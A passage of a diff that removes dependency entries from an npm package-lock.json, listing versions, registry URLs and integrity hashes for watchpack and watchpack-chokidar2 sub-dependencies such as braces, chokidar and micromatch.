"https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", - "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", - "dev": true, - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/arr-flatten": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", - "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", - "dev": true, - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/array-unique": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", - "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", - "dev": true, - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/braces": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", - "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", - "dev": true, - "optional": true, - "dependencies": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/braces/node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/chokidar": { - "version": "2.1.8", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz", - "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==", - "deprecated": "Chokidar 2 does not receive security updates since 2019. Upgrade to chokidar 3 with 15x fewer dependencies", - "dev": true, - "optional": true, - "dependencies": { - "anymatch": "^2.0.0", - "async-each": "^1.0.1", - "braces": "^2.3.2", - "glob-parent": "^3.1.0", - "inherits": "^2.0.3", - "is-binary-path": "^1.0.0", - "is-glob": "^4.0.0", - "normalize-path": "^3.0.0", - "path-is-absolute": "^1.0.0", - "readdirp": "^2.2.1", - "upath": "^1.1.1" - }, - "optionalDependencies": { - "fsevents": "^1.2.7" - } - }, - "node_modules/watchpack-chokidar2/node_modules/expand-brackets": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", - "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", - "dev": true, - "optional": true, - "dependencies": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/expand-brackets/node_modules/define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "optional": true, - "dependencies": { - "is-descriptor": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/expand-brackets/node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/expand-brackets/node_modules/is-accessor-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", - "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", - "dev": true, - "optional": true, - "dependencies": { - "kind-of": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/expand-brackets/node_modules/is-accessor-descriptor/node_modules/kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "optional": true, - "dependencies": { - "is-buffer": "^1.1.5" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/expand-brackets/node_modules/is-data-descriptor": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", - "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", - "dev": true, - "optional": true, - "dependencies": { - "kind-of": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/expand-brackets/node_modules/is-data-descriptor/node_modules/kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "optional": true, - "dependencies": { - "is-buffer": "^1.1.5" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/expand-brackets/node_modules/is-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", - "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", - "dev": true, - "optional": true, - "dependencies": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/expand-brackets/node_modules/kind-of": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", - "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", - "dev": true, - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/extglob": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", - "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", - "dev": true, - "optional": true, - "dependencies": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/extglob/node_modules/define-property": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", - "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", - "dev": true, - "optional": true, - "dependencies": { - "is-descriptor": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/extglob/node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/fill-range": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", - "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", - "dev": true, - "optional": true, - "dependencies": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/fill-range/node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/fsevents": { - "version": "1.2.13", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.13.tgz", - "integrity": "sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw==", - "deprecated": "fsevents 1 will break on node v14+ and could be using insecure binaries. Upgrade to fsevents 2.", - "dev": true, - "hasInstallScript": true, - "optional": true, - "os": [ - "darwin" - ], - "dependencies": { - "bindings": "^1.5.0", - "nan": "^2.12.1" - }, - "engines": { - "node": ">= 4.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/glob-parent": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", - "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", - "dev": true, - "optional": true, - "dependencies": { - "is-glob": "^3.1.0", - "path-dirname": "^1.0.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/glob-parent/node_modules/is-glob": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", - "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", - "dev": true, - "optional": true, - "dependencies": { - "is-extglob": "^2.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "optional": true, - "dependencies": { - "kind-of": "^6.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "optional": true, - "dependencies": { - "kind-of": "^6.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "optional": true, - "dependencies": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", - "dev": true, - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/is-glob": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", - "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", - "dev": true, - "optional": true, - "dependencies": { - "is-extglob": "^2.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/is-number": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", - "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", - "dev": true, - "optional": true, - "dependencies": { - "kind-of": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/is-number/node_modules/kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "optional": true, - "dependencies": { - "is-buffer": "^1.1.5" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true, - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/kind-of": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", - "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", - "dev": true, - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/micromatch": { - "version": "3.1.10", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", - "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", - "dev": true, - "optional": true, - "dependencies": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/nan": { - "version": "2.14.1", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.1.tgz", - "integrity": "sha512-isWHgVjnFjh2x2yuJ/tj3JbwoHu3UC2dX5G/88Cm24yB6YopVgxvBObDY7n5xW6ExmFhJpSEQqFPvq9zaXc8Jw==", - "dev": true, - "optional": true - }, - "node_modules/watchpack-chokidar2/node_modules/normalize-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - "dev": true, - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/readdirp": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz", - "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==", - "dev": true, - "optional": true, - "dependencies": { - "graceful-fs": "^4.1.11", - "micromatch": "^3.1.10", - "readable-stream": "^2.0.2" - }, - "engines": { - "node": ">=0.10" - } - }, - "node_modules/watchpack-chokidar2/node_modules/upath": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz", - "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==", - "dev": true, - "optional": true, - "engines": { - "node": ">=4", - "yarn": "*" - } - }, - "node_modules/watchpack/node_modules/anymatch": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", - "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", - "dev": true, - "dependencies": { - "micromatch": "^3.1.4", - "normalize-path": "^2.1.1" - } - }, - "node_modules/watchpack/node_modules/arr-diff": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", - "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/arr-flatten": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", - "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/array-unique": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", - "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/braces": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", - "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", - "dev": true, - "dependencies": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/braces/node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/chokidar": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.0.4.tgz", - "integrity": "sha512-z9n7yt9rOvIJrMhvDtDictKrkFHeihkNl6uWMmZlmL6tJtX9Cs+87oK+teBx+JIgzvbX3yZHT3eF8vpbDxHJXQ==", - "deprecated": "Chokidar 2 does not receive security updates since 2019. Upgrade to chokidar 3 with 15x fewer dependencies", - "dev": true, - "dependencies": { - "anymatch": "^2.0.0", - "async-each": "^1.0.0", - "braces": "^2.3.0", - "glob-parent": "^3.1.0", - "inherits": "^2.0.1", - "is-binary-path": "^1.0.0", - "is-glob": "^4.0.0", - "lodash.debounce": "^4.0.8", - "normalize-path": "^2.1.1", - "path-is-absolute": "^1.0.0", - "readdirp": "^2.0.0", - "upath": "^1.0.5" - }, - "optionalDependencies": { - "fsevents": "^1.2.2" - } - }, - "node_modules/watchpack/node_modules/expand-brackets": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", - "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", - "dev": true, - "dependencies": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/expand-brackets/node_modules/define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "dependencies": { - "is-descriptor": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/expand-brackets/node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/expand-brackets/node_modules/is-accessor-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", - "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", - "dev": true, - "dependencies": { - "kind-of": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/expand-brackets/node_modules/is-accessor-descriptor/node_modules/kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "dependencies": { - "is-buffer": "^1.1.5" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/expand-brackets/node_modules/is-data-descriptor": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", - "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", - "dev": true, - "dependencies": { - "kind-of": "^3.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/expand-brackets/node_modules/is-data-descriptor/node_modules/kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "dependencies": { - "is-buffer": "^1.1.5" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/expand-brackets/node_modules/is-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", - "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", - "dev": true, - "dependencies": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/expand-brackets/node_modules/kind-of": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", - "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/extglob": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", - "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", - "dev": true, - "dependencies": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/extglob/node_modules/define-property": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", - "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", - "dev": true, - "dependencies": { - "is-descriptor": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/extglob/node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/fill-range": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", - "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", - "dev": true, - "dependencies": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/fill-range/node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/glob-parent": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", - "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", - "dev": true, - "dependencies": { - "is-glob": "^3.1.0", - "path-dirname": "^1.0.0" - } - }, - "node_modules/watchpack/node_modules/glob-parent/node_modules/is-glob": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", - "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", - "dev": true, - "dependencies": { - "is-extglob": "^2.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "dependencies": { - "kind-of": "^6.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "dependencies": { - "kind-of": "^6.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "dependencies": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/is-glob": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.0.tgz", - "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", - "dev": true, - "dependencies": { - "is-extglob": "^2.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack/node_modules/is-number": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", - "integrity": 